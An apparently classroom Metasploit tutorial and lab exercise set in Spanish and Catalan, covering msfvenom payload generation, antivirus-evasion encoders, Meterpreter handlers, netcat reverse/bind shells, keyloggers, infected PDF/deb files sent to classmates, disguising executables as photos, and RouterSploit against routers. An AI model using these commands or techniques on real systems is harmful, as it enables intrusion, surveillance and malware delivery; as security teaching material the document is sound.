Metasploit
Introducción
Metasploit ([Link] es una herramienta para penetrar máquina remotas
mediante el uso de exploits. Un exploit es un programa (también llamado "shellcode") que explota una o
varias vulnerabilidades en un software determinado para, en la mayoría de ocasiones, intentar ganar acceso a
un sistema y tener un nivel de control sobre él. La acción concreta a realizar sobre el sistema "exploitado"
viene definida por el payload utilizado. Un payload (también llamado "listener" o "rootkit") es un programa
que acompaña a un exploit para realizar funciones especificas una vez el sistema objetivo es comprometido;
normalmente es un shell más o menos "customizado". La elección de un buen payload es una decisión muy
importante a la hora de aprovechar y mantener el nivel de acceso obtenido en un sistema. Como en muchos
sistemas existen firewalls, antivirus y sistemas de detección de intrusos que pueden dificultar la actividad de
algunos payloads, estos se suelen codificar mediante determinados "encoders", los cuales modifican la
apariencia binaria del payload para así conseguir hacerlo pasar desapercibido en el sistema.
Metasploit dispone de una base de datos donde se encuentran clasificados centenares de exploits
conocidos, clasificados en una jerarquía que los diferencia según error que vulneren, el sistema operativo,
etc. La base de datos de exploits ([Link] puede actualizarse
desde Internet o a través de la página web del programa. A partir de ella se puede elegir el exploit deseado y
generarlo "ad-hoc" según los parámetros que se necesiten. En la generación de cualquier exploit, un paso casi
siempre imprescindible es la vinculación de este con un determinado "payload", a elegir también de una lista
que Metasploit ofrece de serie. De hecho, los mismos desarrolladores de Metasploit también son los
responsables de un payload muy completo llamado Meterpreter.
No siempre es necesario generar la pareja exploit+payload(+encoder); si el atacante consigue que sea
el propio usuario incauto el que ejecute el payload(+encoder) en el sistema (mediante el uso de enginería
social -por ejemplo a través del envío al usuario incauto de un enlace al binario para que se lo descargue y lo
ejecute pensando que es una foto de gatitos- o de cualquier otro método), la tarea del exploit (que
básicamente es poder implantar el payload) ya nos la habrá realizado el usuario incauto y, por tanto, ya no
será necesario generarlo: bastará solo con distribuir el payload(+encoder) camuflado dentro de algún
programa aparentemente legítimo (o de cualquier otro tipo de fichero como una foto, un archivo multimedia,
etc) y ya está.
Instalación
Metasploit ofrece un shell script que se encarga de detectar la versión y tipo de distribución del
sistema actual para añadir el repositorio propio apropiado y así descargar los paquetes necesarios para
realizar la instalación de todo el entorno. Los comandos a ejecutar, pues, para realizar la instalación de
Metasploit son:
curl [Link]
framework-wrappers/[Link] > msfinstall
chmod 755 msfinstall && sudo ./msfinstall
Se puede actualizar dicha instalación en cualquier momento con el comando msfupdate
Primeros pasos: creación de un payload con msfvenom
El comando que ofrece Metasploit para generar payloads (codificados) es msfvenom. Tiene los
siguientes parámetros:
-p : Sirve para indicar el tipo de payload que deseamos generar. La lista de los tipos de payloads
ofrecidos por Metasploit se puede obtener ejecutando el comando msfvenom -l payloads. Allí
podremos ver de diferentes tipos: "android/...", "firefox/...", "php/...", "python/..."... pero los más
importantes en nuestro caso serán de dos tipos, o bien los de tipo "linux/x64/shell/..." como estos...:
linux/x64/shell/bind_tcp (staged)
linux/x64/shell/reverse_tcp (staged)
linux/x64/shell_bind_tcp (stageless)
linux/x64/shell_reverse_tcp (stageless)
...o bien los de tipo "linux/x64/meterpreter/..." como estos:
linux/x64/meterpreter/bind_tcp (staged)
linux/x64/meterpreter/reverse_tcp (staged)
linux/x64/meterpreter_reverse_tcp (stageless)
linux/x64/meterpreter_reverse_http (stageless)
linux/x64/meterpreter_reverse_https (stageless)
NOTA: A "bind" shell is the kind that opens up a new service on the target machine, and requires the attacker
to connect to it in order to get a session. The bind_tcp option is helpful in case we get disconnected from victim
machine while it is still running, we can execute the same command and get back the session without any
intervention of the victim to run the exploit again. A "reverse" shell (also known as a connect-back) is the exact
opposite: it requires the attacker to set up a listener first on his box, the target machine acts as a client
connecting to that listener, and then finally the attacker receives the shell.
NOTA: Después de indicar el tipo de payload a generar tras el parámetro -p, a continuación se deberán indicar
(uno tras otro separados por espacios) los posibles parámetros que este requiera. Por ejemplo suelen ser muy
habituales en los payloads de tipo "reverse" los parámetros LHOST y LPORT, los cuales sirven para indicar,
respectivamente, la IP y puerto de la máquina atacante hacia donde el payload deberá realizar la conexión una
vez integrado en la máquina víctima. En el caso de los payloads de tipo "bind" los parámetros más habituales
son RHOST y LPORT para indicar, respectivament, la IP de la máquina víctima y el puerto local del atacante
hacia donde el payload conectará. Para saber exactamente qué parámetros necesita un determinado tipo de
payload, se puede añadir el parámetro --payload-options
NOTA: La diferencia entre los payloads "staged" y "stageless" (estos últimos también llamados "inline") está
en que los primeros use tiny "trampolines" called "stagers" which fit into small exploitation spaces so, if the
victim’s system exploitation buffer or other memory area is very small and only allows a small amount of code
to be executed, first a small stager is placed in this memory area to set up the connection and then, this stager
“pulls” the rest of the payload after this foothold is made on the victim system. These larger staged payloads
include such complex payloads as the Meterpreter and VNC Injection, both of which include large and
complex code. A non-staged shell, however, is sent over in one block: you just send shell in one stage.
NOTA: Generally, a staged payload will split the name of the payload between a “/”, such as in the payload
windows/shell/tcp_bind. The “tcp_bind” is the stager (see below) and “shell” is the staged (unfortunately, this
convention is not used consistently in Metasploit, so one often has to go to the “info” section of the payload or
find the directory it is in to determine if it is a staged payload).
NOTA: En el caso de usar un payload "stageless" de tipo "bind", en la máquina del atacante podríamos obtener
un shell remoto simplemente ejecutando netcat en nuestra máquina así: nc [Link] 5555 (aunque
también podríamos usar Meterpreter empleando el mismo método explicado en la siguiente nota), donde
estamos suponiendo que en la víctima el payload hace algo similar a esto: nc -vlp 5555 -e /bin/bash
En el caso de usar un payload "stageless" de tipo "reverse", podríamos obtener un shell remoto simplemente
ejecutando netcat, así: nc -lvp 5555 (o bien Meterpreter tal como se explica en la siguiente nota), donde
estamos suponiendo que en la víctima el payload hace algo similar aesto: nc [Link] 5555 -e /bin/bash
NOTA: En el caso de usar un payload "staged" no podemos usar netcat. En este caso, si usamos concretamente
el payload Meterpreter, los pasos a seguir en la máquina atacante para disfrutar del acceso remoto
proporcionado por el payload ya ejecutado en el sistema víctima son, tras ejecutar el comando msfconsole:
msf > use exploit/multi/handler
msf exploit(handler) > set payload nombre/payload/meterpreter/ejecutado
(por ejemplo: linux/x64/meterpreter/reverse_tcp)
msf exploit(handler) > set LHOST [Link]
msf exploit(handler) > set LPORT nºpuertoHacker
msf exploit(handler) > run
NOTA: Los payloads "*_reverse_http" y "*_reverse_https" permiten aparentar que el tráfico generado por
Meterpreter es "normal": since it is hidden in https the communication is encrypted and can be used to bypass
deep-packet inspections. Moreover, if the victim has blocked all the ports the payload can still communicate
with attacker machine through (nearly always) uncensored ports 80 and/or 443.
NOTA: Para sistemas víctima de tipo Windows existen los mismos payloads solo que empezando su nombre
con la palabra "windows", así: "windows/x64/meterpreter/bind_tcp", etc (además de otros, claro, que incluyen
el uso de PowerShell - [Link] - y más).
-f : Formato final del payload. La lista completa de formatos posibles se puede obtener ejecutando el
comando msfvenom --help-formats. Entre los más habituales encontramos "exe", "elf", "jar" pero
también "bash", "java", "py", etc
-o : Ruta del fichero distribuible a las víctimas con el payload generado en su interior
-a : Opcional. Arquitectura donde se piensa ejecutar el payload (x64, ...). Si no se indica se deduce
del nombre del payload utilizado
--platform : Opcional. Sistema donde se piensa ejecutar el payload (linux, windows,...). Si no se
indica se deduce del nombre del payload utilizado
-x : Opcional. Archivo original legítimo que se usará como plantilla para incrustar en su interior de
forma invisible (a modo de "alien") el payload indicado previamente. Este archivo puede ser un
ejecutable, una foto, etc. Por defecto msfvenom utiliza las plantillas ubicadas dentro de la carpeta
"data/templates", en su directorio de instalación.
-e : Opcional. "Encoder" a usar para camuflar el payload. La mayoría de ellos transforman el código
Assembler del binario infectado de manera que sea más difícil encontrar marcas de la presencia del
payload (los payloads, por lo general, suelen estar muy estudiados y por tanto son fácilmente
reconocibles dentro de un código Assembler sin codificar). Se clasifican por la arquitectura de la
máquina víctima (cada encoder solo suele ser útil para una determinada plataforma: x86, x86_64,
etc). La lista de los tipos de payloads ofrecidos por Metasploit se puede obtener ejecutando el
comando msfvenom -l encoders. Allí podremos ver de diferentes tipos según la arquitectura:
"x86/...", "x64/...". No obstante, si se quiere una protección más profesional, es más recomendable
utilizar herramientas especializadas en el camuflaje de binarios anti-AV, como por ejemplo Veil
([Link]
-i : Opcional. Número de veces que se aplicará el "encoder" al "payload" (en principio, cuantas más,
más difícil de detectar será)
La manera más sencilla de saber si nuestro payload será detectado por las máquinas víctimas es
buscando en el servicio Virus Total ([Link] el hash MD5 de nuestro payload
(¡no lo subáis porque entonces Virus Total ya tendrá constancia de él!). Recordad que este hash se puede
obtener mediante el comando md5sum.
Si quisiéramos mantener una conexión entre un payload ejecutándose en una máquina víctima
separada de nuestra máquina atacante por una red WAN (como Internet) es necesario realizar un par de
ajustes:
*Como valor de LHOST hay que indicar la IP pública de nuestro router (este valor se puede
obtener por ejemplo visitando [Link] Lo ideal sería utilizar un servicio como No-IP
y utilizar en vez de ese valor, que puede variar en cualquier momento, el nombre DNS asociado, el
cual siempre es fijo.
*Para que el valor de LPORT funcione, es necesario realizar una redirección de puertos en la
configuración de nuestro router. Otra opción es utilizar soluciones que trabajan detrás de NAT, como
ngrok ([Link] o pagekite ([Link]
Primeros pasos: uso de msfconsole
El comando que ofrece Metasploit para generar exploits y asociarles un determinado payload
(invocando en ese momento internamente al comando msfvenom) es msfconsole. El hecho de generar un
exploit+payload incluído nos permitirá no tener que introducir manualmente dicho payload en el ordenador
de la víctima (o hacer que un usuario incauto lo tenga que hacer por nosotros) sino que esa introducción será
completamente transparente (y realizada de forma remota).
El comando msfconsole se puede utilizar de forma interactiva entrando en una consola propia al
ejecutarlo sin más o bien de forma no interactiva indicándole mediante parámetros toda la información que
necesite de un solo golpe. En general utilizaremos la primera manera por darnos más posibilidades. Los
comandos internos de la consola más habituales son:
? : Muestro lista de comandos disponibles
help comando : Muestro ayuda del comando indicado
search type:exploit platform:windows adobe pdf : Busco en la base de datos local todos los exploits
disponibles para sistemas Windows utilizando como
filtros las palabras "adobe" y "pdf"
show exploits : Muestro lista de exploits disponibles en BD local
show payloads : Muestro lista de payloads disponibles en BD local
show encoders : Muestro lista de encoders disponibles en BD local
show auxiliary : Muestro lista de los módulos auxiliares " " "
grep palabra comando : Busca palabra en la salida del comando indicado
(normalmente de tipo show o info)
use nombreExploit : Elijo el exploit indicado. A partir de aquí:
show options : Muestro lista de opciones del exploit elegido
show targets : Muestro la lista de sistemas operativos vulnerables
a ese exploit (si es de tipo "multi/browser" o similar)
info : Muestro toda la información sobre ese exploit
set payload nombre/payload : Asocio un payload concreto a ese exploit
set nombreOpcion valor : Establezco un valor concreto a la opción indicada
run : Ejecuto el exploit
sessions -l : Listo las sesiones remotas abiertas
sessions -i nº : Entro en el shell/payload de la sesión indicada
background : Pongo la sesión activa en 2º plano para volver al
prompt de msfconsole
back : Vuelvo al prompt inicial de msfconsole
deshaciendo la configuración del exploit que
estuviera a medias
connect ip nºpuerto : Equivalente al cliente netcat sin salir de msfconsole
NOTA: Para que salga en ps con otro nombre, a la mayoría de payloads se les puede añadir la opción
PayloadProcessCommandLine="monkey -n 123 -o howdy"
Metasploit has six different types of modules. These are: "payloads", "exploits", "encoders", "post",
"nops" and "auxiliary". "Post" are modules that we can use post exploitation of the system. "Nops" are short
for No OperationS and it simply means “do nothing”; this can be crucial in creating a buffer overflow.
"Auxiliary" includes numerous modules that don’t fit into any of the other categories: these include such
things are fuzzers, scanners, denial of service attacks, and more.
Primeros pasos: Uso de Meterpreter
Meterpreter ([Link] automatically self-attaches to a target
process while it is running in memory, leaving no trace of its existence on the hard drive or file system. To
know which is the current target process you must execute getpid command. However, very often you will
want to attach Meterpreter to another process with more privileges on the system and with an more
lastingexpected time-life (like [Link] in Windows, for instance). To achieve this, you can first get the
list of current processes in target system with ps command and then, "migrate" to selected new target process
with migrate nºPID command. Other interesting commands are: sysinfo, upload,
keyscan_start/keyscan_dump/keyscan_stop, etc, etc.
A more complete list can be found in [Link]
command or [Link]
metasploits-meterpreter-0149146. Another complete list, but in this case of Meterpreter scripts (to run with
the use command) is available here: [Link] ; there
are some interesting ones, like getgui/screenspy/vnc, webcam, record_mic, killav, hashdump,
persistence, timestomp, etc. Each script has its own arguments, which can be shown writing -h. Official
scripts are available here: [Link]
EXERCICIS:
0.-a) Executa la comanda msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ipMaq -f elf -o jajaja a la
teva màquina virtual
NOTA: Pots observar la resta de paràmetres que pot acceptar el payload utilizat mitjançant la comanda
msfvenom -p linux/x64/meterpreter/reverse_tcp -l payloads . Per defecte LPORT val 4444 així que si ja ens
està bé aquest valor no cal canviar-ho
b) Copia el binari jajaja de la màquina virtual a la màquina real (que serà la màquina a "infectar") de la
manera que vulguis (via SSH, via mail, via pendrive, etc)
c) Executa msfconsole a la màquina virtual i allà dins escriu les comandes necessàries per restar a l'espera de
la connexió del payload. És a dir, escriu:
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [Link]
msf exploit(handler) > run
d) Fes doble clic sobre el binari "jajaja" a la màquina real i comprova que, inmediatament, apareix una
consola Meterpreter dins de msfconsole des de la qual podrem executar les comandes que desitgem (sysinfo,
webcam_list, etc, etc)
e) Busca dins de la msfconsole algun exploit (si és que n'hi ha) que permeti copiar i executar el binari "jajaja"
a la màquina víctima de forma automàtica (és a dir, sense que calgui repetir manualment els apartats b) i d) )
1.-a) Si executes la comanda msfvenom -p php/meterpreter/reverse_tcp LHOST=ipMaq -f raw -o [Link] a
la teva màquina virtual, ¿què n'obtens? (observa el seu codi)
NOTA: També podríem haver fet servir altres tipus de "payload" depenent del tipus de víctima, com ara
python/meterpreter/reverse_tcp. O fins i tot android/meterpreter/reverse_tcp. En aquest darrer cas, no obstant,
we also need to sign certificate because Android mobile devices are not allowing installing apps without the
appropriately signed certificate: android devices only install the signed .apk files. For signing the apk file, you
can use jar signer, keytool and zipalign tools
b) ¿ Per a què voldries combinar el resultat anterior amb l'execució, dins de msfconsole, del mòdul
"auxiliary/scanner/http/http_put" (amb la configuració adient) contra el servidor Apache de la teva màquina
real? Prova-ho. ¿Pots comprometre el servidor web? Si és que sí, ¿pots entrar en una sessió Meterpreter?
c) Ara prova d'executar la comanda msfvenom -p cmd/unix/reverse_bash LHOST=ipMaq -f raw -o [Link] a
la teva màquina virtual. ¿Què n'obtens? (observa el seu codi). ¿Com el faries servir a la màquina víctima?
NOTA: També podríem haver fet servir el payload "cmd/unix/reverse_python"
2.-a) ¿Per a què serveix aquest payload (integrant-lo en un exploit amb format exe):
windows/vncinject/reverse_tcp ? Pots fer servir la comanda info de msfconsole
NOTA: Per provar exploits en sistemes Windows es pot descarregar una màquina Windows oficial des d'aquí:
[Link]
b) Suposant que ja has compromés la màquina víctima ¿per a què serveix el mòdul
post/windows/capture/lockout_keylogger? Pots fer servir la comanda info de msfconsole
NOTA: Un altre mòdul amb similars objectius és post/windows/capture/keylog_recorder
c) ¿Per a què serveixen els següent mòduls? Pots fer servir la comanda info de msfconsole
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/http/http_login
auxiliary/sniffer/psnuffle
auxiliary/server/browser_autopwn2
exploit/multi/script/web_delivery
3.-a) Segueix els passos indicats a [Link] fent
servir la web "Demo". Demana a un company que accedeixi a aquesta web. ¿Què passa? ¿Què és el que fa
aquest mòdul a la víctima per tal de poder funcionar?
b) Segueix els passos indicats a [Link]
exploits i envia el PDF infectat a un company. Comprova si resulta compromès
NOTA: També pots provar amb algun altre mòdul dels inclosos dins de "exploit/multi/fileformat" o més en
concret, "exploit/multi/misc/openoffice_document_macro"
c) Segueix els passos indicats a [Link]
i envia el paquet deb infectat a un company. Comprova si resulta compromès.
4.-a) ¿Per a què serveix aquest programa ([Link] i com el faries servir per
tal de què un fitxer executable Windows no tingués la icona d'executable i sí un thumbnail d'una foto? (per
així enganyar a l'usuari fent-lo creure que aquell fitxer és una foto i no pas un executable)
b) Llegeix [Link] i digues què s'hi explica
5.-a) Existeixen altres programes alternatius a Metasploit amb objectius similars. Un d'aquests és TheFatRAT
([Link] . [Link]'l a la màquina virtual executant les següents comandes:
git clone [Link]
chmod +x [Link]
sudo ./[Link]
Seguidament, executa'l amb la comanda fatrat i observa les opcions que t'ofereix el menú resultant. ¿Són
similars a les de Metasploit? Concretament, [Link] les opcions "6" -> "2" -< "3". ¿Què n'obtens?
NOTA: Un altre programa similar és [Link] (hi ha un tutorial aquí:
[Link]
Router exploitation works by breaching the Wi-Fi security of a router, bypassing the administrative login
page, and accessing administrative features. A skilled attacker can then target the existing firmware that runs
the router in a practice called "rootkitting" in which a custom firmware is dropped into the router to enable
advanced malicious [Link] on the goals and resources of an attacker, this can include spying on
the user and any connected devices, injecting malware into the browser to exploit connected devices,
enabling advanced spear phishing attacks, and routing illegal traffic for criminal activities through exploited
routers
6.-.RouterSploit ([Link] is a Python program which automates most of
the tasks associated with compromising a router and its commands will be familiar to anyone used to the
Metasploit framework. It contains scanning and exploit modules. [Link]'l a la màquina virtual executant les
següents comandes:
sudo apt-get install python-dev python-pip libncurses5-dev git
git clone [Link]
cd routersploit && sudo pip install -r [Link]
NOTA: To upgrade you can do: cd routersploit && git pull
Seguidament, executa'l amb les comandes: cd routersploit && ./[Link] Les comandes internes bàsiques són:
show all
use scanners/autopwn
show options
set ...
use exploits/...
run
Prova-les amb la porta d'enllaç del centre ([Link]). If the exploit is successful, you should be greeted
with internal configuration settings that can leak the login and password of users, default passwords, and
device serial number, among other settings that allow you to compromise the router. Other modules allow
you to remotely inject code or directly disclose the router password. Which you can run depends on what the
target router is vulnerable to.
NOTA: Although Autopwn is a convenient feature, it tries a lot of different exploits and thus is very noisy on
the network. The preferred option is to scan your target, do some recon, and only run the relevant modules for
the manufacturer of the target router
Una vez obtenido acceso, es útil tener una lista de ficheros y comandos habituales para obtener información
sobre en qué sistema estamos. Aquí ( [Link] hay
una bastante completa, la cual básicamente pretender contestar a las siguientes preguntas:
What is the distribution type, and version?
What is the Kernel version?
What services are running, and in which user-context?
What are the versions of the running services?
What applications are installed, and what versions?
Do any of these services have vulnerable plugins or configurations?
What jobs are scheduled?
What configuration files can be read/written in /etc/ ?
What information or content can be found in /var/ ?
Is it possible to write files to places that are in another users path?
Identify SUID and GUID files
Identify world-readable and world-writable files
How are file-systems mounted?
Are there any unmounted file-systems?
What sensitive files can be found?
Are there any passwords in; scripts, databases, configuration files or log files?
What user information can be found?
Can private-key information be found?
Examine files in user home directories (if possible)
What NICs does the system have?
What are the network configuration settings?
What other hosts are communicating with the system?
Are there any cached IP or MAC addresses?
Is packet sniffing possible, and if so what can be seen?
Is SSH tunnelling possible?
What development tools/languages are installed/supported?
What areas can be written to?
Where can code be executed?
How can files be uploaded?
From a defensive stance, you need to ask yourself very similar questions
Have you made any of the above information easy for an attacker to find?
Is the system fully patched? (Kernel, operating system, and all applications)
Are services running with the minimum level of privileges required?